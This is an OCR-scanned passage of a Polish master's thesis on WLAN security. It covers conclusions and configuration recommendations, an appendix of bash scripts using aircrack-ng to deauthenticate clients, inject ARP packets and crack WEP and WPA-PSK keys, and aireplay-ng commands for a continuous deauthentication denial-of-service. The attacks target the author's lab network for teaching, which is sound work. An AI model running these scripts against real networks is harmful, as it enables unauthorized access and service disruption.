CH 4 ][ Elapsed: 5¢ = ][ 2007-06-07 15:38 ][ WPL handshake: 00:4F:62:0D:BC:9D

B33ID PWR RX2 Beacons #Data, #/= CH ME ENC CIFHER AUTH E3SID
00:4F:62:0D:BC: 9D 61 100 552 57 0 4 11 TWPALZ CCHMF P3K labhoratorium
B3SID STATICH FWE Lost Fackets Frohes

O00:4F: 62 :0D:BC:9D 00:19:D2:36:50:D3 65 u} 104

Rys. 10.18. Przechwycenie komunikatow negocjacji czteroetapowe;j

Nastgpnie doprowadzono do anulowania uwierzytelnienia skojarzonego klienta oraz
ataku stownikowego na klucz PSK. Laczny czas wykonania calej procedury jest krotszy
niz 1 minuta. Do przeprowadzenia ataku na WPA2-PSK postuzono si¢ skryptem:

/wlan/wpa-psk/krok2

Efekt koncowy wykonanego ataku przedstawiono na rysunku 10.19.

Lircrack-ng 0.9

[00:00:00] 2 keys tested (44.387 ki3

EEY FOUND! [ VeSd213198f901823clzaedchb ]

Rys. 10.19. Efekt koncowy ataku stownikowego na WPA2-PSK
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11. Whnioski koncowe

Dos$wiadczenia pokazaty, ze zabezpieczenia zgodne z pierwszym opracowanym
standardem sieci WLAN nie zapewniaja nawet najmniejszego poziomu bezpieczenstwa.
Juz na etapie ich opracowywania znane byly pierwsze stabosci, zwiazane z algorytmem
RC4, ktore z biegiem czasu zostaly ujawnione w implementacji WEP. Jednak o
wybraniu omawianego algorytmu przesadzily jego charakterystyczne cechy, do ktorych
zaliczy¢ mozna prostot¢ oraz zwigzane z nig niewielkie wymagania co do mocy
obliczeniowej uktadow. W momencie opublikowania szczegotow metody FMS w 2001
roku rozpoczeto prace badawcze w gronie kryptograféw, ktore trwaty do kwietnia 2007
roku, kiedy opublikowano metod¢ PTW. W przeciagu 6 lat dopracowano sposoby
famania zabezpieczen WEP redukujac ilo§¢ potrzebnych do tego danych. Dodatkowo
metoda  wstrzykiwania pakietow ~ARP, umozliwila zlamanie omawianych
mechanizméw bezpieczenstwa w czasie krotszym niz czas, ktory jest potrzebny na
skonfigurowanie urzadzenia dostgpowego. Wydarzenia kwietnia 2007 roku catkowicie
zdyskwalifikowaly WEP co zostalo potwierdzone wynikami eksperymentéw na
stanowisku laboratoryjnym, przedstawionymi w rozdziale 12 niniejszej pracy
dyplomowe;.

Przejsciowym wyjsciem z trudnej sytuacji stata si¢ specyfikacja WPA,
wprowadzajaca szkielet uwierzytelniania 802.1X oraz algorytm TKIP eliminujacy
najwigksze btedy w implementacji algorytmu RC4 w WEP. W przypadku wigkszosci
urzadzen dostgpowych, nalezato wymieni¢ jedynie oprogramowanie (ang. firmware) na
nowe, ktore oferowato wsparcie dla WPA. Rok 2004 zaowocowal nowym standardem o
nazwie WPA2, bazujacym na metodach zastosowanych w specyfikacji WPA ale z
catkiem innym algorytmem poufnosci danych AES, ktéry wymagal modyfikacji
sprzgtowych urzadzen. Do tej pory, zarowno w przypadku TKIP jak 1 AES, nie wykryto
zadnych luk. Jednak tylko niewielka ilo$¢ uzytkownikow zdecydowata si¢ wykorzystac
szkielet 802.1X w nowych rozwiazaniach. Duza popularno$¢ zyskala sobie metoda
uwierzytelniania oparta o klucz PSK, ktora podatna jest na atak slownikowy po
przechwyceniu komunikatéw negocjacji czteroetapowej. Zatem w przypadku stabych
haset (typu: dom, mieszkanie, mojasiec itd.), w bardzo krotkim czasie mozna odgadnac

klucz PSK za pomoca przedstawionych wczesniej wynikow eksperymentow.

99



Klucz PSK w WPA/WPA2 na szczg$cie nie zostat catkiem zdyskwalifikowany.
Wystarczy zastosowa¢ odpowiednia polityke tworzenia hasel. Najlepiej ustawia¢ dlugie
hasta od 32 do 64 znakow, ktore zostaly utworzone w sposéb losowy np. przy pomocy
zaufanego (najlepiej witasnorg¢cznie napisanego) generatora hasel. Oprocz znakow
alfanumerycznych nalezy réwniez uzywaé znakoéw specjalnych, co uniemozliwi
przeprowadzenie ataku stownikowego. Dobra metoda jest tzw. ,,podwojne” tworzenie
hasetl. Polega ono na ustaleniu danej frazy a nastgpnie na zaszyfrowaniu jej za pomoca
znanego tylko sobie algorytmu, ktorym moze by¢ np. zamienienie wybranych przez
siebie znakow miejscami.

W chwili obecnej w pelni bezpieczny mechanizm uwierzytelniania to algorytm
PEAP, wykorzystujacy certyfikaty cyfrowe do obustronnego uwierzytelniania (TLS)
lub metode MS-CHAP-v2 oparta o certyfikaty od strony serwera oraz informacje o
tozsamosci (nazwa uzytkownika i1 haslo) od strony klienta. Wymaga on jednak
obecno$ci serwera uwierzytelniajacego Radius, ktorego konfiguracja, zwlaszcza w
przypadku systemow linuksowych, sprawia administratorom sieci znaczne trudnosci.
Dodatkowo w potaczeniu z algorytmem AES o duzej sile kryptograficznej, tworzy on
bezpieczny system bezprzewodowy, do ktérego nie ma mozliwo$ci wtamania. Mimo to
w dalszym ciagu mozliwe jest przeprowadzenie atakow odmowy ustugi w warstwie
drugiej za pomoca omoOwionych narzedzi. Atakiem takim jest np. anulowanie
uwierzytelnienia, ktore moze zosta¢ wykonywane w ciagltej pgtli co spowoduje brak
mozliwosci potaczenia z punktem dostgpowym (wersja inwazyjna ataku — DODATEK
B). Nalezy rowniez pamigta¢ o mozliwosci ataku DoS w warstwie fizycznej, ktory
polega na zakldcaniu czgstotliwosci pracy danej sieci.

Z uwagi na specyficzny charakter medium transmisyjnego, ktore
wykorzystywane jest przez sieci bezprzewodowe WLAN, wykrycie ewentualnej proby
wlamania jest mato prawdopodobne bez fizycznego zatrzymania sprawcy w trakcie jego
przeprowadzania. Podobnie jak w przypadku omawianych problemoéw, zwiazanych z
opcjonalng weryfikacja adresow MAC przez punkt dostgpowy, napastnik moze zmienié
adres fizyczny swojego interfejsu radiowego. Zdalna identyfikacja wtamywacza jest
mozliwa jedynie na podstawie jego adresu MAC. Jednak wykorzystujac np. aplikacje
airodump-ng oraz odpowiednio kierunkowa anteng, mozna zlokalizowa¢ zZrodto

wlamania z zadowalajaca dokladnoscia. Aplikacja ta wyswietla informacje o sile
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sygnatu (w jednostkach wzglednych RSSI) odbieranego od kazdej stacji, skojarzonej z
danym punktem dostgpowym lub probujacej potaczy¢ si¢ z dang siecia.

Dodatkowo nalezy stwierdzi¢, ze w przypadku sieci bezprzewodowych WLAN
nie ma mechanizmu programowego, ktory zagwarantuje peilne bezpieczenstwo sieci pod
kazdym wzgledem. Praktyka pokazuje, ze oprocz odpowiedniej konfiguracji punktu
dostgpowego potrzebny jest rowniez administrator z duzym do§wiadczeniem w zakresie
tematyki poruszonej we wczesniejszych rozdziatach, ktory potrafi na biezaco
analizowa¢ oraz rozwigzywaé problemy za pomoca ogolnodostepnych narzedzi.

Zalecenia dotyczace bezpiecznej konfiguracji siect WLAN (Rys. 11.1) przedstawione

() /@(
IEEE 802.11a/blg/
IEEE 802.3 (Ethernet) abigin

dla sieci korporacyjnych — Punkt dostepowy zgodny z Klient sieci z interfejsem radiowym

zostaly w tabeli 11.1.

Rys. 11.1. Bezpieczna sie¢ bezprzewodowa WLAN

Tabela 11.1. Zalecenia dotyczace konfiguracji zabezpieczen w sieciach WLAN

Aspekty bezpieczenstwa warstwy drugiej sieci WLAN

Uwierzytelnianie Poufnos$¢ danych Hasta

minimum 32 znaki w tym
PSK TKIP (RC4) znaki specjalne, dodatkowo
podwdjne tworzenie haset

sieci
prywatne

Sprzet kompatybilny
z IEEE 802.11/WPA

e PEAP: minimum 8 znakéw
> szkielet: IEEE 802.1X w nazwie uzytkownika i
bt g algorytm: PEAP Iub EAP- TKIP (RC4) hasle
? e TLS EAP-TLS: brak haset

B> certyfikaty cyfrowe

. g minimum 32 znaki w tym

= g 8 g PSK CCMP (AES) znaki specjalne, dodatkowo

g, | s E podwdjne tworzenie haset

2=

E o 2 PEAP: minimum 8 znakéw

= ; 5 > szkielet: IEEE 802.1X w nazwie uzytkownika i

g 5 2 g algorytm: PEAP Iub EAP- CCMP (AES) hasle

n = % TLS EAP-TLS: brak haset —
& certyfikaty cyfrowe
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12. Podsumowanie

Sieci bezprzewodowe WLAN to idealny sposéb na wyeliminowanie
infrastruktury opartej o kable UTP (popularne skretki). To rowniez rozwiazanie, ktore
nie wymaga kosztow wigkszych niz te, ktore zaptaci¢ trzeba za same urzadzenia
dostgpowe. Ceny punktow dostgpowych sa na tyle niskie, ze praktycznie kazda firma
lub instytucja moze pozwoli¢ sobie na ich zakup. Obecnie wigkszo$¢ sprzedawanych
urzadzen przenos$nych (notebooki, palmtopy a nawet telefony komorkowe) posiada
wbudowane moduty radiowe, zgodne ze standardami z rodziny 802.11x. Ponadto ,,$wiat
bez kabli” to §wiat komfortu, ktory nie uzaleznia uzytkownika od dtugosci przewodu
ani konkretnego miejsca w pomieszczeniu, dajac mu pewna swobodg. Wymienione
czynniki spowodowaty znaczny wzrost popularnosci technologii WLAN w ciagu kilku
ostatnich lat oraz proporcjonalny do tego spadek kosztow produkcji urzadzen.

Konfiguracja punktow dostgpowych sieci WLAN jest na tyle prosta, ze
praktycznie kazdy, kto zna podstawy sieci kablowych LAN, moze przeprowadzi¢ ja na
podstawie zataczonej instrukcji. Jednak w tym momencie pojawia si¢ problem
zapewnienia odpowiedniego bezpieczenstwa. W niniejszej pracy dyplomowe;j
przedstawione zostaty wszystkie metody obslugujace autoryzacj¢ uzytkownikéw oraz
zapewniajace poufnos$¢ oraz integralno$¢ przesytanych danych. W pierwszej czgsci
dokonano przegladu zabezpieczen zgodnych ze standardami IEEE 802.11, 802.111 oraz
specyfikacja WPA. Dodatkowo omowiono niektére firmowe rozwiazania, stworzone z
mysla o poprawie bezpieczenstwa sieci WLAN. Nastepnie przeprowadzono analiz¢
zabezpieczen na podstawie dostgpnych zrddet literaturowych oraz przedstawiono
wybrane narzgdzia do badania poszczegdlnych mechanizméw. W drugiej czgsci
zaprojektowano stanowisko laboratoryjne ze specjalnie przygotowanym systemem
operacyjnym oraz dokonano eksperymentéw, ktore potwierdzily przedstawione
wczesniej teoretyczne aspekty bezpieczenstwa. Cel pracy magisterskiej zostat

zrealizowany.
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DODATEK A. Listing skryptow napisanych w bashu

/wlan/config

#!/bin/bash
#### KONFIGURACJA SKRYPTOW ###

# parametry wspolne dla wszystkich skryptow
kanal=4
ssid=laboratorium

mac_ap=00:4F:62:0D:BC:9D
mac_sta=00:19:D2:36:50:D3

kanal dla badanej sieci

ssid (nazwa) sieci

adres MAC punktu dostepowego
adres MAC skojarzonego klienta

#
id
#
#

# parametr dla wep-dict

dlugosc wep=64
format wep=1

dlugosc wep (64 lub 128)
format klucza (0 - ascii, 1 - hex)

#
#
# lokalny adres MAC interfejsu bezprzewodowego (nie zmieniac)

mac_local="ip a 1 dev athO | grep link | cut -d' ' -f6°

/wlan/wep-dict/krok1

#!/bin/bash
../config

rm —-f *.cap > /dev/null 2>&l
rm —-f output*.txt > /dev/null 2>&1

echo -e "1. Tryb Monitor, podniesienie interfejsu...\n"
airmon-ng stop athO

airmon-ng start wifi0 $kanal

ifconfig athO up

echo -e "\n2. Przechwytywanie pakietow...\n"

airodump-ng -c Skanal --bssid Smac _ap -w output ath0
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/wlan/wep-dict/krok2

#!/bin/bash
../config
echo -e "\nl. Atak slownikowy na WEP ${dlugosc_wep}-bit...\n"
if [ ${format wep} = 1 ]; then
plik="h:../slowniki/wep-hex.txt"
else
plik="../slowniki/wep-ascii.txt"
fi
echo $plik
aircrack-ng -w Splik -a 1 -n Sdlugosc wep -e $ssid output*.cap

read

/wlan/wep-open/krok1

#!/bin/bash
../config

rm —-f *.cap > /dev/null 2>&l
rm -f *.txt > /dev/null 2>&l

echo -e "1. Tryb Monitor, podniesienie interfejsu...\n"
airmon-ng stop athO

airmon-ng start wifiO $kanal; ifconfig athO up

echo -e "\n2. Symulacja skojarzenia z AP...\n"
aireplay-ng -1 0 -e $ssid -a S$mac ap -h S$mac local athO
sleep 2

echo -e "\n3. Wstrzykiwanie pakietow ARP ...\n"

aireplay-ng -3 -b S$mac _ap -h $mac local athO

106




/wlan/wep-open/krok2

#!/bin/bash
../config

echo -e "\nl. Anulowanie uwierzytelniania skojarzonego klienta
...\n"

aireplay-ng -0 1 -a Smac_ap -c $mac_sta athO
echo -e "\n2. Przechwytywanie pakietow...\n"

airodump-ng -c Skanal --bssid Smac ap -w output ath0

/wlan/wep-open/krok3

#!/bin/bash

clear

# aplikacja z pakietu aircrack-ng
aircrack-ng -z output*.cap

read

/wlan/wep-open/krok3-alt

#!/bin/bash

clear

# oryginalna aplikacja PTW
aircrack-ptw output*.cap

read
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/wlan/wep-shared/krok 1

#!/bin/bash
../config

rm -f *.cap > /dev/null 2>&1; rm -f *.txt > /dev/null 2>s&l
rm -f *.xor > /dev/null 2>&1

echo -e "1. Tryb Monitor, podniesienie interfejsu...\n"
airmon-ng stop ath0O; airmon-ng start wifi0 S$kanal
ifconfig athO up

echo -e "\n2. Pierwsze anulowanie uwierzytelniania skojarzonego
klienta ...\n"

aireplay-ng -0 1 -a S$mac_ap -c $mac_sta athO
echo -e "\nl. Przechwytywanie pakietow ...\n"

airodump-ng -c Skanal --bssid Smac_ap -w output athO

/wlan/wep-shared/krok?2

#!/bin/bash
../config

echo -e "\nl. Oczekiwanie na ponowne uwierzytelnienie klienta

"

while [ ! -e *.xor ]; do sleep 1 done
echo -e "\n2. Falszywe uwierzytelnienie...\n"

aireplay-ng -1 0 -e $ssid -y output*.xor -a Smac ap -h
$mac_local athO

echo -e "\n3. Drugie anulowanie uwierzytelniania skojarzonego
klienta ...\n"

aireplay-ng -0 1 -a S$mac_ap -c $mac_sta athO
echo -e "\n4. Wstrzykiwanie pakietow ARP...\n"

aireplay-ng -3 -b S$mac _ap -h $mac local athO

108




/wlan/wpa-dict/krok1

#!/bin/bash
../config

rm -f *.cap > /dev/null 2>&l
rm -f psk*.txt > /dev/null 2>&1

echo -e "1. Tryb Monitor, podniesienie interfejsu...\n"
airmon-ng stop athO
airmon-ng start wifiO $kanal

ifconfig athO up

echo -e "\n2. Przechwytywanie komunikatow 4-Way-HandShake...\n"
airodump-ng -c Skanal --bssid Smac _ap -w psk athO
/wlan/wpa-dict/krok2

#!/bin/bash

../config
echo -e "\nl. Anulowanie uwierzytelnienia skojarzonego
klienta...\n"
aireplay-ng -0 1 -a S$mac_ap -c $mac_sta athO
echo -e "\n2. Nacisnij [ Enter ] po ponownym uwierzytelnieniu
klienta ...\n"
read
echo -e "\n3. Atak slownikowy na WPA-PSK/WPA2-PSK ...\n"
sleep 2
aircrack-ng -w ../slowniki/wpa.txt -b $Smac ap psk*.cap
read
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/wlan/monitor-on

#!/bin/bash

clear

echo -e "1. Tryb Monitor, podniesienie interfejsu ath0 ...\n"
airmon-ng stop athO

airmon-ng start wifiO

ifconfig athO up

echo -e "\n2. Wykrywanie sieci bezprzewodowych ...\n"

sleep 2

airodump-ng athO

/wlan/monitor-off

#!/bin/bash
clear

echo -e "1. Wylaczenie trybu Monitor, opuszczenie interfejsu
athO ...\n"

airmon-ng stop athO

sleep 2
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DODATEK B. Atak DoS na dowolng siec WLAN

W tresci niniejszej pracy dyplomowej celowo nie przedstawiono sposobu na
przeprowadzenie ataku odmowy ustugi na dowolna sie¢ WLAN w warstwie drugie;j.
Atak ten jest niezalezny od wszelkich omowionych wcze$niej mechanizmow
bezpieczenstwa i nie istnieje mechanizm, ktéry pozwala ochroni¢ si¢ przed nim. Polega
on na ciaglym wysylaniu ramek DEAUTHENTICATION, ktérego efekt mozna

podzieli¢ na dwa rodzaje:

a) anulowanie uwierzytelnienia jednego skojarzonego klienta (adres docelowy
MAC ramki to adres klienta);
b) anulowanie uwierzytelnienia wszystkich skojarzonych klientéw (adres docelowy

MAC ramki to adres rozgtoszeniowy sieci FF:FF:FF:FF:FF:FF).

Warunkiem przeprowadzenia powyzszego ataku jest przelaczenie interfejsu
bezprzewodowego w tryb Monitor tak, aby nastuchiwat na kanale, na ktorym pracuje
sie¢ bezprzewodowa. Nastgpnie z konsoli terminala systemu SlackPWR nalezy

uruchomi¢ aireplay-ng z odpowiednimi parametrami:
aireplay-ng -0 0 -a mac_ap -c mac_sta athO
aireplay-ng -0 0 —-a mac_ap athO

Pierwsze z powyzszych polecen spowoduje ciagte wysytanie sfatszowanej ramki
DEAUTHENTICATION z adresem zrodlowym mac_ap oraz docelowym mac sta.
Drugie spowoduje ciagle anulowanie uwierzytelnienia wszystkich skojarzonych
klientow. Jak juz wspomniano wczesniej, jest to atak inwazyjny i1 nie ma sposobu na
zabezpieczenie si¢ przed nim zatem jest niezwykle niebezpieczny dla dowolnej sieci
WLAN. Jednym z lekarstw na ten problem mogloby by¢ zabezpieczenie sygnalizacji w
sieciach zgodnych z IEEE 802.11x. Wystarczytoby zaszyfrowa¢ element DATA ramki
sygnalizacyjnej DEAUTHENTICATION w charakterystyczny dla danej sieci sposob
dla wszystkich urzadzen. Wtedy skojarzone stacje bezprzewodowe odrzucityby

nieprawidtowe ramki, powodujace anulowanie uwierzytelnienia.

111



DODATEK C. Dokumentacja techniczna stanowiska

1. Schemat stanowiska laboratoryjnego

MOZLIWOSC INTEGRACJI DWOCH ELEMENTOW

W JEDEN
r-———"~"~>"~>""~>""~>"~>"~""~""*™"™"™"™">"™""™>"™77 |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
! SERWER ! )
i ustugi: Radius, http, ftp, dns, ssh |
| system: SlackPWR |
l l
| |
| |
| |
! W PUNKT DOSTEPOWY
: : wspierajacy: WEP, WPA, WPA2
| |
| |
| |
| |
| KOMPUTER |
! do badania zabezpieczen !
: system: SlackPWR :
| |
L |
Rys. 1.1. Schemat og6lny stanowiska laboratoryjnego
( )
o SSId laboratorium
\ kanat: 4 ssnd laboratorium
g kanat: 4
§ prosty kabel UTP ze ztaczami RJ-45
SERWER
ustugi: Radius, http, ftp, dns, ssh PUNKT DOSTEPOWY

KOMPUTER wspierajacy: WEP, WPA, WPA2

do badania zabezpieczen
system: SlackPWR

Rys. 1.2. Schemat wlasciwy stanowiska laboratoryjnego

Rysunek 1.1 przedstawia schemat ogolny stanowiska

KOMPUTER
klient sieci
system: Windows XP

Notebook
autoryzowanyklient sieci
system: Windows XP

laboratoryjnego,

zawierajacy cztery niezalezne elementy. Dwa z nich — serwer ustug oraz komputer do

badania zabezpieczen — mozna zintegrowa¢ w jeden w przypadku zastosowania

systemu operacyjnego SlackPWR, co pokazano na rysunku 1.2.
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2. Sprzet na stanowisku laboratoryjnym

Stanowisko laboratoryjne moze sktada¢ si¢ z urzadzen dowolnych producentow.

W sktad niniejszego stanowiska wchodzi nastepujacy sprzet:

d) komputer PC z uruchomionym systemem operacyjnym SlackPWR;

e) notebook IBM ThinkPad z karta WLAN oraz uruchomionym systemem
operacyjnym Windows XP;

f) punkt dostepowy AirLive WL-5460APv2 oparty o uktad radiowym Realtek
8186, zgodny ze standardami 802.11b/g/i oraz WPA.

Komputer stacjonarny PC posiada zarowno interfejs bezprzewodowy (Atheros)
jak 1 przewodowy. Zatem na stanowisku petni on jednoczes$nie funkcje serwera ustug
oraz urzadzenia do badania zabezpieczen w sieci WLAN. Rozwiazanie takie pozwolito
na zmniejszenie iloSci potrzebnych komputeréw na stanowisku o jeden. Interfejs
bezprzewodowy WLAN jest karta na ztaczu PCMCIA o nazwie Cisco Aironet. W
komputerze stacjonarnym zamontowany zostal adapter PCI — PCMCIA, umozliwiajacy
montaz karty. Notebook IBM wykorzystany zostal do zestawienia autoryzowanego
polaczenia z punktem dostgpowym oraz obserwacji statusu potaczenia z siecia
bezprzewodowa. Punkt dostgpowy zostal podtaczony do komputera PC poprzez zlacze
RJ-45 prostym kablem UTP.
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3. System operacyjny

Do celow dydaktycznych niniejszego stanowiska laboratoryjnego przygotowano
specjalny system operacyjny, oparty o jadro Linux-2.6.20 oraz dystrybucj¢ SlackWare
Linux 11, nazwany SlackPWR. System ten nalezy uruchomi¢ z ptyty CD lub DVD a

nastepnie dokona¢ wyboru jednego z dwoch trybow pracy:

a) tryb tekstowy;
b) tryb graficzny (zalecany).

Tryb tekstowy umozliwia pracg tylko w konsoli terminala dystrybucji systemu
Linux. Nie jest zalecany z powodu braku mozliwosci dalszej konfiguracji urzadzenia
dostgpowego AP. Tryb tekstowy umozliwia wykorzystanie kilku konsoli terminala a
przetaczanie migdzy nimi nastgpuje za pomoca klawisza A/t oraz klawiszy funkcyjnych

FI-F6. Aby uruchomi¢ tryb tekstowy, wystarczy poda¢ poprawne dane przy logowaniu:

login: root

password: root

Tryb graficzny jest bardziej komfortowy. Umozliwia prosta konfiguracjg
urzadzenia dostgpowego za pomoca przegladarki Konqueror. Nie zaleca si¢ stosowania
wbudowanej przegladarki Firefox. Aby uruchomi¢ tryb graficzny, nalezy po

zalogowaniu si¢ w trybie tekstowym wyda¢ w konsoli terminala polecenie:

startx

Tryb graficzny oparty jest o srodowisko KDE 3.5. Srodowisko to jest zblizone
wlasciwo$ciami oraz interaktywnoscia do srodowiska graficznego systemu Windows
XP. Praca przy jego pomocy jest intuicyjna i nie wymaga wyjasnien. Aby zamkna¢ tryb
graficzny, nalezy wylaczy¢ go za pomoca menu w lewym dolnym rogu. System
operacyjny zapisuje dane w pamigci operacyjnej RAM komputera lub na automatycznie
zainstalowanych  dyskach  komputera. W  przypadku skasowania plikow
konfiguracyjnych systemu lub potrzeby przywrdcenia domyslnej konfiguracji, nalezy

zrestartowac system.
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